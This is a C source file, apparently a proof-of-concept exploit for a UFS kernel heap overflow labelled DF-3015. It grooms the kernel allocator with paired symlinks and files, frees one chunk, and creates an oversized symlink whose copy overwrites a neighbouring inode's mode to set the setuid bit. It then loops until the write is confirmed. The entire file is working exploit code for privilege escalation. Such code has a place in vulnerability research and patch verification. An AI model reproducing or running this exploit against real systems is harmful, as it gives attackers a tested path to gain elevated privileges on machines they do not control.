/*
 * DF-3015 controlled-write demo.
 *
 * After the steady-state train (already on the mount), create a
 * consecutive [S_w(len-60 symlink)][V_demo(file)] pair, unlink S_w
 * (LIFO-frees its chunk), then create W (len 282 payload): kmalloc
 * pops S_w's chunk and ufs_symlink's bcopy writes V_demo[0..178) —
 * the last two bytes landing exactly on V_demo's in-memory di_mode.
 *
 * Success criterion: stat(V_demo).st_mode == 0104755 (IFREG|ISUID|0755)
 * written by us, everything else about V_demo untouched (uid, size, blocks).
 * Retry loop re-arms if the LIFO pop raced.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>

int
main(int argc, char **argv)
{
	const char *dir = (argc > 1) ? argv[1] : "/mnt/p";
	char p[128], t70[80], payload[283];
	struct stat st;
	int i, fd;

	memset(t70, 's', 60);
	t70[60] = 0;
	memset(payload, 'W', 282);
	payload[280] = (char)0xED;
	payload[281] = (char)0x89;
	payload[282] = 0;

	for (i = 0; i < 12; i++) {
		/* weapon layout: [S_w][V_demo] consecutive chunks */
		snprintf(p, sizeof(p), "%s/Dw%d", dir, i);
		if (symlink(t70, p)) { perror("symlink Dw"); return 1; }
		snprintf(p, sizeof(p), "%s/Dv%d", dir, i);
		fd = open(p, O_RDWR | O_CREAT | O_EXCL, 0644);
		if (fd < 0) { perror("open Dv"); return 1; }
		write(fd, "hello", 5);
		close(fd);
		if (stat(p, &st)) { perror("stat"); return 1; }
		printf("[demo %d] before: mode=%o uid=%u size=%lld\n", i,
		    st.st_mode, st.st_uid, (long long)st.st_size);

		/* free the chunk before V_demo, then fire W */
		snprintf(p, sizeof(p), "%s/Dw%d", dir, i);
		if (unlink(p)) { perror("unlink Dw"); return 1; }
		snprintf(p, sizeof(p), "%s/DW%d", dir, i);
		if (symlink(payload, p)) { perror("symlink W"); return 1; }

		snprintf(p, sizeof(p), "%s/Dv%d", dir, i);
		if (stat(p, &st)) { perror("stat2"); return 1; }
		printf("[demo %d] after : mode=%o uid=%u size=%lld %s\n", i,
		    st.st_mode, st.st_uid, (long long)st.st_size,
		    st.st_mode == 0104755 ?
		    "*** CONTROLLED WRITE CONFIRMED (setuid bit set) ***" :
		    "(miss)");
		fflush(stdout);
		if (st.st_mode == 0104755)
			return (0);
	}
	return (1);
}
